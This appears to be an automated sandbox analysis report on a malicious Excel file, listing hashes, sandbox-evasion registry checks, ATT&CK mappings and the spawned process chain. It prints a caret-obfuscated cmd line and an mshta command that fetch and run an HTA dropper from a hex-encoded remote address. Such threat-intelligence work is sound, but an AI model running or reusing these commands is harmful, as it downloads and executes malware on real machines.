7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
164s
max time network
185s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-105.xls
Size

65KB
MD5

53bea098b495f96218c09f17e22fad9d
SHA1

6915db9be1e538e396e5f1d59c640158e26af73b
SHA256

da0decbda63cc2fbb3b768d77078db1ef537aff2878d873a2c6614df519f9716
SHA512

1ad2e399b79afff95cc2cc337a181ac20cb5523b474d5d6ec4e9de4fee336f605ef871189700ed64052f437b07b84598e1c2920b447f72b5491dbea563ef5c5f

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	980	2600	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

41 420 mshta.exe

flow	pid	process
41	420	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2600 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE
2600	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2600 wrote to memory of 980	2600	EXCEL.EXE	cmd.exe
PID 2600 wrote to memory of 980	2600	EXCEL.EXE	cmd.exe
PID 980 wrote to memory of 420	980	cmd.exe	mshta.exe
PID 980 wrote to memory of 420	980	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-105.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2600

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:420

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2600-118-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2600-119-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2600-120-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2600-121-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2600-122-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2600-131-0x00007FFEFB680000-0x00007FFEFB690000-memory.dmp

Filesize
64KB

Download
memory/2600-132-0x00007FFEFB680000-0x00007FFEFB690000-memory.dmp

Filesize
64KB

Download
memory/2600-318-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2600-319-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2600-320-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2600-321-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download